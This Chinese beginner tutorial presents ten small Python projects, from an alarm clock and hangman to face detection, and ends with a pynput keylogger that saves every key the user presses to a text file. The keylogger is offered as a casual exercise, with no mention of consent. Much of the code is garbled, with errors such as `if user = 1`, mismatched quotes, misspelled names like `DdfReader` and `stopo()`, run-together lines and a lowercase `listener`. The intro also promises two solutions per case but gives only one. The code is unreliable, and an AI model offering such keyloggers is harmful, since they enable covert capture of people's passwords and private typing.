2022年 11月 3日

非常适合零基础练手的10个Python项目,入门学Python必备

对于Python学习者来说,能够熟练的掌握Python中简洁而高效的编程技巧,不仅能够提升程序的效率,更重要的是体现出编程者高超的编程能力。

今天,小编就为大家分享十个Python的小案例,每个案例都有两种解决方法,第一种方法相对小白,第二种方法则是属于有经验的高手写法。案例虽小,但是却蕴含着Python编程的技巧,一起来看看吧。

1.闹钟

编写一个创建闹钟的Python脚本。

你可以使用date-time模块创建闹钟,以及playsound库播放声音。

  1. from datetime import datetime
  2. from playsound import playsound
  3. alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
  4. alarm_hour=alarm_time[0:2]
  5. alarm_minute=alarm_time[3:5]
  6. alarm_seconds=alarm_time[6:8]
  7. alarm_period = alarm_time[9:11].upper()
  8. print("Setting up alarm..")
  9. while True:
  10. now = datetime.now()
  11. current_hour = now.strftime("%I")
  12. current_minute = now.strftime("%M")
  13. current_seconds = now.strftime("%S")
  14. current_period = now.strftime("%p")
  15. if(alarm_period==current_period):
  16. if(alarm_hour==current_hour):
  17. if(alarm_minute==current_minute):
  18. if(alarm_seconds==current_seconds):
  19. print("Wake Up!")
  20. playsound('audio.mp3') ## download the alarm sound from link
  21. break

2.文字冒险游戏

编写一个有趣的Python脚本,通过为路径选择不同的选项让用户进行有趣的冒险。

  1. name = str( input("Enter Your Mame\n"))
  2. print(f"{name} you are stuck in a forest.Your task is to get out from the forest withoutdieing")
  3. print("You are walking threw forest and suddenly a wolf comes in your way.Now Youoptions.")
  4. print("1.Run 2. climb The Nearest Tree ")
  5. user = int(input("choose one option 1 or 2"))
  6. if user = 1:
  7. print("You Died!!")
  8. elif user = 2:
  9. print("You Survived!!")
  10. else:
  11. print("Incorrect Input")
  12. #### Add a loop and increase the story as much as you can

3.有声读物

编写一个Python脚本,用于将Pdf文件转换为有声读物。

借助pyttsx3库将文本转换为语音。

要安装的模块:

  1. pyttsx3
  2. PyPDF2
  1. import pyttsx3,PyPDF2
  2. DdfReader = pyPDF2.PdfFileReader(open( "file.pdf',"rb'))
  3. speaker = pyttsx3.init()
  4. for page_num in range(pdfReader.numPages):
  5. text =pdfReader.getPage(page_num).extractText()
  6. speaker.say(text)
  7. speaker.runAndwait()
  8. speaker.stopo()

4.货币换算器

编写一个Python脚本,可以将一种货币转换为其他用户选择的货币。

使用Python中的API,或者通过forex-python模块来获取实时的货币汇率。

安装:forex-python

  1. from forex _python.converter import CurrencyRatesc = CurrencyRates()
  2. amount = int(input("Enter The Amount You Want To Convert\n"))
  3. from_currency = input( "From\n" )-upper()
  4. to_currency = input( "To\n").upper()
  5. print(from_currency,"To",to_currency , amount)
  6. result = c.convert(from_currency, to_currency, amount)
  7. print(result)

5.天气应用

编写一个Python脚本,接收城市名称并使用爬虫获取该城市的天气信息。

你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。

安装:

  1. requests
  2. BeautifulSoup
  1. from bs4 import BeautifulSoup
  2. import requests
  3. headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
  4. def weather(city):
  5. city=city.replace(" ","+")
  6. res = requests.get(f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headers=headers)
  7. print("Searching in google......\n")
  8. soup = BeautifulSoup(res.text,'html.parser')
  9. location = soup.select('#wob_loc')[0].getText().strip()
  10. time = soup.select('#wob_dts')[0].getText().strip()
  11. info = soup.select('#wob_dc')[0].getText().strip()
  12. weather = soup.select('#wob_tm')[0].getText().strip()
  13. print(location)
  14. print(time)
  15. print(info)
  16. print(weather+"°C")
  17. print("enter the city name")
  18. city=input()
  19. city=city+" weather"
  20. weather(city)

6.人脸检测

编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。

可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。

安装:

OpenCV

下载:haarcascade_frontalface_default.xml

  1. import cv2
  2. # Load the cascade
  3. face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
  4. # Read the input image
  5. img = cv2.imread('images/img0.jpg')
  6. # Convert into grayscale
  7. gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
  8. # Detect faces
  9. faces = face_cascade.detectMultiScale(gray, 1.3, 4)
  10. # Draw rectangle around the faces
  11. for (x, y, w, h) in faces:
  12. cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
  13. crop_face = img[y:y + h, x:x + w]
  14. cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)
  15. # Display the output
  16. cv2.imshow('img', img)
  17. cv2.imshow("imgcropped",crop_face)
  18. cv2.waitKey()

7.提醒应用

创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。
Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。

安装:win10toast

  1. from win10toast import ToastNotifier
  2. import time
  3. toaster = ToastNotifier()
  4. try:
  5. print("Title of reminder")
  6. header = input()
  7. print("Message of reminder")
  8. text = input()
  9. print("In how many minutes?")
  10. time_min = input()
  11. time_min=float(time_min)
  12. except:
  13. header = input("Title of reminder\n")
  14. text = input("Message of remindar\n")
  15. time_min=float(input("In how many minutes?\n"))
  16. time_min = time_min * 60
  17. print("Setting up reminder..")
  18. time.sleep(2)
  19. print("all set!")
  20. time.sleep(time_min)
  21. toaster.show_toast(f"{header}",
  22. f"{text}",
  23. duration=10,
  24. threaded=True)
  25. while toaster.notification_active(): time.sleep(0.005)

8.Hangman

创建一个简单的命令行hangman游戏。

创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线“”表示,给用户提供猜单词的机会,如果用户猜对了单词,则将“”用单词替换。

  1. import time
  2. import random
  3. name = input("What is your name? ")
  4. print ("Hello, " + name, "Time to play hangman!")
  5. time.sleep(1)
  6. print ("Start guessing...\n")
  7. time.sleep(0.5)
  8. ## A List Of Secret Words
  9. words = ['python','programming','treasure','creative','medium','horror']
  10. word = random.choice(words)
  11. guesses = ''
  12. turns = 5
  13. while turns > 0:
  14. failed = 0
  15. for char in word:
  16. if char in guesses:
  17. print (char,end="")
  18. else:
  19. print ("_",end=""),
  20. failed += 1
  21. if failed == 0:
  22. print ("\nYou won")
  23. break
  24. guess = input("\nguess a character:")
  25. guesses += guess
  26. if guess not in word:
  27. turns -= 1
  28. print("\nWrong")
  29. print("\nYou have", + turns, 'more guesses')
  30. if turns == 0:
  31. print ("\nYou Lose")

9.文章朗读器

编写一个Python脚本,自动从提供的链接读取文章。

  1. import pyttsx3
  2. import requests
  3. from bs4 import BeautifulSoup
  4. url = str(input("Paste article url\n"))
  5. def content(url):
  6. res = requests.get(url)
  7. soup = BeautifulSoup(res.text,'html.parser')
  8. articles = []
  9. for i in range(len(soup.select('.p'))):
  10. article = soup.select('.p')[i].getText().strip()
  11. articles.append(article)
  12. contents = " ".join(articles)
  13. return contents
  14. engine = pyttsx3.init('sapi5')
  15. voices = engine.getProperty('voices')
  16. engine.setProperty('voice', voices[0].id)
  17. def speak(audio):
  18. engine.say(audio)
  19. engine.runAndWait()
  20. contents = content(url)
  21. ## print(contents) ## In case you want to see the content
  22. #engine.save_to_file
  23. #engine.runAndWait() ## In case if you want to save the article as a audio file

10、键盘记录器

编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。

  1. from pynput.keyboard import Key, Controller,Listener
  2. import time
  3. keyboard = Controller()
  4. keys=[]
  5. def on_press(key):
  6. global keys
  7. #keys.append(str(key).replace("'",""))
  8. string = str(key).replace("'","")
  9. keys.append(string)
  10. main_string = "".join(keys)
  11. print(main_string)
  12. if len(main_string)>15:
  13. with open('keys.txt', 'a') as f:
  14. f.write(main_string)
  15. keys= []
  16. def on_release(key):
  17. if key == Key.esc:
  18. return False
  19. with listener(on_press=on_press,on_release=on_release) as listener:
  20. listener.join()

 

更多练手小项目:

粉丝福利。内部跳转